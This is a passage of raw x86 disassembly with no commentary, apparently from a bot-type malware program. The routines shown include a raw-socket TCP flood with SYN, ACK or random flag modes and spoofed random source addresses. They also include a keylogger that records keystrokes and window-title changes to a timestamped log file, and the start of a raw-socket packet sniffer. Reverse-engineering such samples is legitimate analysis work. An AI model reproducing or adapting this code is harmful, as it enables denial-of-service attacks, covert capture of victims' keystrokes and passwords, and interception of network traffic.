		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_43F668
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_43F668
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		call	near ptr 25F0000h
		nop
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 25E0925h
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_417760
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax


loc_401BA1:				; CODE XREF: sub_401A76+25Dj
					; sub_401A76+26Bj
		mov	[ebp+var_24], bx
		call	sub_41730C
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_43F668
		mov	[ebp+var_34], ax
		call	sub_41730C
		mov	edi, eax
		shl	edi, 10h
		call	sub_41730C
		or	edi, eax
		push	edi
		call	dword_43F668
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_43F664
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_43F668
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AF39
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417390
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AF39
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417390
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_43F6CC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401CE6
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 25E0925h
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_401D0F
		jl	loc_401BA1
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_401D0F
		jmp	loc_401BA1
; ---------------------------------------------------------------------------


loc_401CE6:				; CODE XREF: sub_401A76+247j
		call	dword_43F5FC
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_4262B8
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_40BF6D
		add	esp, 10h
		jmp	short loc_401D12
; ---------------------------------------------------------------------------


loc_401D0F:				; CODE XREF: sub_401A76+25Bj
					; sub_401A76+269j
		mov	ebx, [ebp+arg_8]


loc_401D12:				; CODE XREF: sub_401A76+78j
					; sub_401A76+297j
		push	[ebp+var_C]
		call	dword_43F700
		pop	esi


loc_401D1C:				; CODE XREF: sub_401A76+5Bj
		call	dword_43F5C8
		mov	eax, ebx


loc_401D24:				; CODE XREF: sub_401A76+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_401A76	endp


; =============== S U B	R O U T	I N E =======================================



sub_401D28	proc near		; CODE XREF: sub_4019D7+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40ADCA
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_41781F
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_41781F
		mov	edi, eax
		call	sub_41730C
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_401A76
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_401D73
		push	1
		pop	eax


loc_401D73:				; CODE XREF: sub_401D28+46j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401D28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401D82	proc near		; DATA XREF: sub_40EE72+2D38o

var_440		= byte ptr -440h
var_240		= dword	ptr -240h
var_23C		= byte ptr -23Ch
var_1BC		= byte ptr -1BCh
var_13C		= byte ptr -13Ch
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A0		= byte ptr -0A0h
var_9F		= byte ptr -9Fh
var_8C		= byte ptr -8Ch
var_80		= byte ptr -80h
var_78		= byte ptr -78h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_5B		= byte ptr -5Bh
var_5A		= word ptr -5Ah
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 440h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_240]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_9F]
		push	0Eh
		mov	[eax+19Ch], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_A0], bl
		rep stosd
		stosw
		stosb
		mov	edi, dword_424058
		call	edi
		push	eax
		call	sub_417302
		pop	ecx
		push	0FFh
		push	3
		push	2
		call	dword_43F6E8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_401E4B
		call	dword_43F5FC
		push	eax
		lea	eax, [ebp+var_440]
		push	offset dword_42642C
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_401E2B
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40D679
		add	esp, 14h


loc_401E2B:				; CODE XREF: sub_401D82+84j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_BC]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	ebx
		nop
		call	near ptr 25E02EAh


loc_401E4B:				; CODE XREF: sub_401D82+61j
		lea	ecx, [ebp+var_34]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_34], esi
		call	dword_43F648
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401EC9
		call	dword_43F5FC
		push	eax
		lea	eax, [ebp+var_440]
		push	offset dword_4263E4
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_401EA9
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40D679
		add	esp, 14h


loc_401EA9:				; CODE XREF: sub_401D82+102j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_BC]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 25E02EAh
		nop


loc_401EC9:				; CODE XREF: sub_401D82+DFj
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_43F6A8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401F39
		lea	eax, [ebp+var_440]
		push	offset dword_4263B4
		push	eax
		call	sub_4172B0
		cmp	[ebp+var_A8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_401F19
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40D679
		add	esp, 14h


loc_401F19:				; CODE XREF: sub_401D82+172j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_BC]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	ebx
		nop
		call	near ptr 25E02EAh


loc_401F39:				; CODE XREF: sub_401D82+157j
		push	10h
		lea	eax, [ebp+var_44]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_44], 2
		push	ebx
		call	dword_43F668
		mov	[ebp+var_42], ax
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_43F6A8
		mov	[ebp+var_40], eax
		mov	[ebp+arg_0], ebx
		call	edi
		mov	[ebp+var_30], eax


loc_401F71:				; CODE XREF: sub_401D82+430j
		call	edi
		sub	eax, [ebp+var_30]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_B4]
		ja	loc_402235
		push	28h
		mov	[ebp+var_2C], 45h
		call	dword_43F668
		cmp	[ebp+var_B0], ebx
		mov	[ebp+var_2A], ax
		mov	[ebp+var_28], si
		mov	[ebp+var_26], bx
		mov	[ebp+var_24], 80h
		mov	[ebp+var_23], 6
		mov	[ebp+var_22], bx
		jz	short loc_401FE4
		call	sub_41730C
		mov	esi, eax
		shl	esi, 8
		call	sub_41730C
		add	esi, eax
		shl	esi, 8
		call	sub_41730C
		add	esi, eax
		shl	esi, 8
		call	sub_41730C
		add	esi, eax
		push	1
		mov	[ebp+var_20], esi
		pop	esi
		jmp	short loc_401FFA
; ---------------------------------------------------------------------------


loc_401FE4:				; CODE XREF: sub_401D82+233j
		push	[ebp+var_240]
		call	sub_40AEE0
		pop	ecx
		push	eax
		call	dword_43F6A8
		mov	[ebp+var_20], eax


loc_401FFA:				; CODE XREF: sub_401D82+260j
		mov	eax, [ebp+var_40]
		cmp	[ebp+var_B8], ebx
		mov	[ebp+var_1C], eax
		jnz	short loc_402018
		call	sub_41730C
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		jmp	short loc_40201E
; ---------------------------------------------------------------------------


loc_402018:				; CODE XREF: sub_401D82+284j
		push	[ebp+var_B8]


loc_40201E:				; CODE XREF: sub_401D82+294j
		call	dword_43F668
		mov	[ebp+var_16], ax
		call	sub_41730C
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_43F668
		push	12345678h
		mov	[ebp+var_18], ax
		call	dword_43F664
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_1BC]
		push	offset aSyn	; "syn"
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40206E
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 2
		jmp	short loc_4020CA
; ---------------------------------------------------------------------------


loc_40206E:				; CODE XREF: sub_401D82+2E1j
		lea	eax, [ebp+var_1BC]
		push	offset aAck	; "ack"
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40208E
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 10h
		jmp	short loc_4020CA
; ---------------------------------------------------------------------------


loc_40208E:				; CODE XREF: sub_401D82+301j
		lea	eax, [ebp+var_1BC]
		push	offset aRandom	; "random"
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4020CA
		call	sub_41730C
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_10], edx
		call	sub_41730C
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_B], dl


loc_4020CA:				; CODE XREF: sub_401D82+2EAj
					; sub_401D82+30Aj ...
		push	200h
		mov	[ebp+var_C], 50h
		call	dword_43F668
		mov	[ebp+var_A], ax
		mov	eax, [ebp+var_20]
		mov	[ebp+var_64], eax
		mov	eax, [ebp+var_1C]
		push	14h
		mov	[ebp+var_6], bx
		mov	[ebp+var_8], bx
		mov	[ebp+var_60], eax
		mov	[ebp+var_5C], bl
		mov	[ebp+var_5B], 6
		call	dword_43F668
		mov	[ebp+var_5A], ax
		lea	eax, [ebp+var_64]
		push	20h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_18]
		push	14h
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_A0]
		push	34h
		push	eax
		call	sub_40AF39
		mov	[ebp+var_8], ax
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_18]
		push	14h
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		call	sub_417390
		push	4
		lea	eax, [ebp+var_78]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 44h
		lea	eax, [ebp+var_A0]
		push	28h
		push	eax
		call	sub_40AF39
		mov	[ebp+var_22], ax
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417390
		add	esp, 14h
		lea	eax, [ebp+var_44]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_A0]
		push	3Ch
		push	eax
		push	[ebp+var_4]
		call	dword_43F6CC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4021B7
		inc	[ebp+arg_0]
		jmp	loc_401F71
; ---------------------------------------------------------------------------


loc_4021B7:				; CODE XREF: sub_401D82+42Bj
		push	[ebp+var_4]
		call	dword_43F700
		call	dword_43F5FC
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		push	offset dword_426344
		lea	eax, [ebp+var_440]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 18h
		cmp	[ebp+var_A8], ebx
		jnz	short loc_402215
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40D679
		add	esp, 14h


loc_402215:				; CODE XREF: sub_401D82+46Ej
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_BC]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 25E02EAh
		nop


loc_402235:				; CODE XREF: sub_401D82+203j
		push	[ebp+var_4]
		call	dword_43F700
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_B4]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_1BC]
		push	eax
		lea	eax, [ebp+var_440]
		push	offset dword_4262E4
		push	eax
		call	sub_4172B0
		add	esp, 1Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_4022A6
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40D679
		add	esp, 14h


loc_4022A6:				; CODE XREF: sub_401D82+4FFj
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_BC]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	ebx
		nop
		call	near ptr 25E02EAh
sub_401D82	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4022C6	proc near		; CODE XREF: sub_4023A7+B4p
					; sub_4023A7+253p

var_314		= byte ptr -314h
var_114		= byte ptr -114h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= byte ptr  14h
arg_8C		= dword	ptr  94h
arg_90		= dword	ptr  98h

		push	ebp
		mov	ebp, esp
		sub	esp, 314h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	near ptr 2600000h
		nop
		lea	eax, [ebp+var_114]
		push	104h
		push	eax
		nop
		call	near ptr 25F048Fh
		lea	eax, [ebp+var_114]
		push	offset asc_426C1C ; "\\"
		push	eax
		call	sub_4179D0
		lea	eax, [ebp+var_114]
		push	offset dword_42F684
		push	eax
		call	sub_4179D0
		lea	eax, [ebp+var_114]
		push	offset aAb	; "ab"
		push	eax
		call	sub_4179A8
		mov	esi, eax
		add	esp, 18h
		test	esi, esi
		jnz	short loc_40232D
		push	1
		pop	eax
		jmp	short loc_4023A4
; ---------------------------------------------------------------------------


loc_40232D:				; CODE XREF: sub_4022C6+60j
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset aDDDDDDS	; "[%d-%d-%d %d:%d:%d] %s\r\n"
		push	esi
		call	sub_417956
		push	esi
		call	sub_417900
		add	esp, 28h
		cmp	[ebp+arg_90], 0
		jnz	short loc_4023A2
		push	[ebp+arg_0]
		lea	eax, [ebp+var_314]
		push	offset dword_426BDC
		push	200h
		push	eax
		call	sub_41782A
		push	0
		lea	eax, [ebp+var_314]
		push	[ebp+arg_8C]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 24h


loc_4023A2:				; CODE XREF: sub_4022C6+A3j
		xor	eax, eax


loc_4023A4:				; CODE XREF: sub_4022C6+65j
		pop	esi
		leave
		retn
sub_4022C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4023A7	proc near		; DATA XREF: sub_40EE72+1F95o

var_8DC		= dword	ptr -8DCh
var_8D8		= byte ptr -8D8h
var_4DC		= byte ptr -4DCh
var_2DD		= byte ptr -2DDh
var_2DC		= byte ptr -2DCh
var_DC		= byte ptr -0DCh
var_D8		= dword	ptr -0D8h
var_48		= byte ptr -48h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8DCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_8DC], 0
		push	25h
		and	[ebp+var_4], 0
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_DC]
		rep movsd
		mov	dword ptr [eax+90h], 1
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp+var_8D8]
		rep stosd
		call	dword_43F5F0
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		call	dword_43F604
		mov	ebx, 200h


loc_402402:				; CODE XREF: sub_4023A7+2C7j
		push	8
		nop
		call	near ptr 25F0439h
		call	dword_43F5F0
		cmp	eax, [ebp+var_8]
		jz	short loc_40248A
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		call	dword_43F604
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		lea	eax, [ebp+var_4DC]
		push	offset aSChangedWindow ; "%s (Changed Windows: %s)"
		push	eax
		call	sub_4172B0
		sub	esp, 84h
		lea	esi, [ebp+var_DC]
		lea	eax, [ebp+var_4DC]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax
		rep movsd
		call	sub_4022C6
		mov	[ebp+var_4], eax
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0A4h
		lea	eax, [ebp+var_4DC]
		push	ebx
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch


loc_40248A:				; CODE XREF: sub_4023A7+6Cj
		mov	[ebp+arg_0], offset aB ; "b"


loc_402491:				; CODE XREF: sub_4023A7+2BDj
		push	10h
		call	dword_43F548
		movsx	esi, ax
		mov	eax, [ebp+arg_0]
		mov	edi, [eax-4]
		push	edi
		call	dword_43F634
		test	ah, 80h
		jz	short loc_402529
		push	14h
		call	dword_43F548
		test	ax, ax
		jz	short loc_4024DA
		cmp	esi, 0FFFFFFFFh
		jle	short loc_4024DA
		cmp	edi, 40h
		jle	short loc_4024DA
		cmp	edi, 5Bh
		jge	short loc_4024DA
		mov	[ebp+edi*4+var_8DC], 1
		jmp	loc_402659
; ---------------------------------------------------------------------------


loc_4024DA:				; CODE XREF: sub_4023A7+112j
					; sub_4023A7+117j ...
		push	14h
		call	dword_43F548
		test	ax, ax
		jz	short loc_402505
		test	esi, esi
		jge	short loc_402519
		cmp	edi, 40h
		jle	short loc_402505
		cmp	edi, 5Bh
		jge	short loc_402505
		mov	[ebp+edi*4+var_8DC], 2
		jmp	loc_402659
; ---------------------------------------------------------------------------


loc_402505:				; CODE XREF: sub_4023A7+13Ej
					; sub_4023A7+147j ...
		test	esi, esi
		jge	short loc_402519
		mov	[ebp+edi*4+var_8DC], 3
		jmp	loc_402659
; ---------------------------------------------------------------------------


loc_402519:				; CODE XREF: sub_4023A7+142j
					; sub_4023A7+160j
		mov	[ebp+edi*4+var_8DC], 4
		jmp	loc_402659
; ---------------------------------------------------------------------------


loc_402529:				; CODE XREF: sub_4023A7+105j
		mov	esi, [ebp+edi*4+var_8DC]
		lea	eax, [ebp+edi*4+var_8DC]
		test	esi, esi
		jz	loc_402659
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_2DC]
		cmp	edi, 8
		push	eax
		jnz	short loc_402561
		call	sub_417AB0
		and	[ebp+eax+var_2DD], 0
		pop	ecx
		jmp	loc_402659
; ---------------------------------------------------------------------------


loc_402561:				; CODE XREF: sub_4023A7+1A5j
		call	sub_417AB0
		cmp	eax, 1B9h
		pop	ecx
		jbe	short loc_402593
		call	dword_43F5F0
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		call	dword_43F604
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset aSBufferFullS ; "%s (Buffer full) (%s)"
		jmp	short loc_4025D4
; ---------------------------------------------------------------------------


loc_402593:				; CODE XREF: sub_4023A7+1C5j
		cmp	edi, 0Dh
		jnz	loc_40262B
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_417AB0
		test	eax, eax
		pop	ecx
		jz	loc_402659
		call	dword_43F5F0
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		call	dword_43F604
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset aSReturnS ; "%s (Return)	(%s)"


loc_4025D4:				; CODE XREF: sub_4023A7+1EAj
		lea	eax, [ebp+var_4DC]
		push	eax
		call	sub_4172B0
		sub	esp, 84h
		lea	esi, [ebp+var_DC]
		lea	eax, [ebp+var_4DC]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax
		rep movsd
		call	sub_4022C6
		mov	[ebp+var_4], eax
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0A4h
		lea	eax, [ebp+var_4DC]
		push	ebx
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		jmp	short loc_402659
; ---------------------------------------------------------------------------


loc_40262B:				; CODE XREF: sub_4023A7+1EFj
		cmp	esi, 1
		jz	short loc_402644
		cmp	esi, 3
		jz	short loc_402644
		cmp	esi, 2
		jz	short loc_40263F
		cmp	esi, 4
		jnz	short loc_402659


loc_40263F:				; CODE XREF: sub_4023A7+291j
		push	[ebp+arg_0]
		jmp	short loc_40264B
; ---------------------------------------------------------------------------


loc_402644:				; CODE XREF: sub_4023A7+287j
					; sub_4023A7+28Cj
		mov	eax, [ebp+arg_0]
		add	eax, 7
		push	eax


loc_40264B:				; CODE XREF: sub_4023A7+29Bj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4179D0
		pop	ecx
		pop	ecx


loc_402659:				; CODE XREF: sub_4023A7+12Ej
					; sub_4023A7+159j ...
		add	[ebp+arg_0], 14h
		cmp	[ebp+arg_0], offset dword_426BA4
		jl	loc_402491
		cmp	[ebp+var_4], 0
		jz	loc_402402
		push	[ebp+var_D8]
		call	sub_417078
		pop	ecx
		push	0
		nop
		call	near ptr 25E02EAh
sub_4023A7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402688	proc near		; DATA XREF: sub_40EE72+1DDBo

var_102B4	= byte ptr -102B4h
var_102AB	= byte ptr -102ABh
var_102A8	= dword	ptr -102A8h
var_102A0	= dword	ptr -102A0h
var_10293	= byte ptr -10293h
var_1028C	= byte ptr -1028Ch
var_2B4		= byte ptr -2B4h
var_B4		= dword	ptr -0B4h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 102B4h
		call	sub_417B30
		mov	edx, [ebp+arg_0]
		push	esi
		push	edi
		push	1
		pop	eax
		mov	esi, edx
		push	25h
		lea	edi, [ebp+var_B4]
		pop	ecx
		mov	[ebp+var_8], eax
		rep movsd
		mov	[edx+90h], eax
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	esi
		call	dword_43F668
		push	[ebp+var_B4]
		mov	[ebp+var_1A], ax
		call	sub_40AEE0
		pop	ecx
		push	eax
		call	dword_43F6A8
		push	esi
		push	3
		push	2
		mov	[ebp+var_18], eax
		call	dword_43F6E8
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_4], edi
		jnz	short loc_40275D
		call	dword_43F5FC
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset unk_427604
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_402740
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40D679
		add	esp, 14h


loc_402740:				; CODE XREF: sub_402688+96j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_30]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 25E02EAh


loc_40275D:				; CODE XREF: sub_402688+76j
		mov	eax, [ebp+var_30]
		push	10h
		imul	eax, 234h
		mov	dword_4450CC[eax], edi
		lea	eax, [ebp+var_1C]
		push	eax
		push	edi
		call	dword_43F694
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4027E2
		call	dword_43F5FC
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset unk_4275C0
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_4027BE
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40D679
		add	esp, 14h


loc_4027BE:				; CODE XREF: sub_402688+114j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	edi
		call	dword_43F700
		push	[ebp+var_30]
		call	sub_417078
		pop	ecx
		push	esi
		call	near ptr 25E02EAh
		nop


loc_4027E2:				; CODE XREF: sub_402688+F4j
		push	esi
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		push	esi
		push	esi
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	98000001h
		push	edi
		call	dword_43F614
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402865
		call	dword_43F5FC
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset unk_427578
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
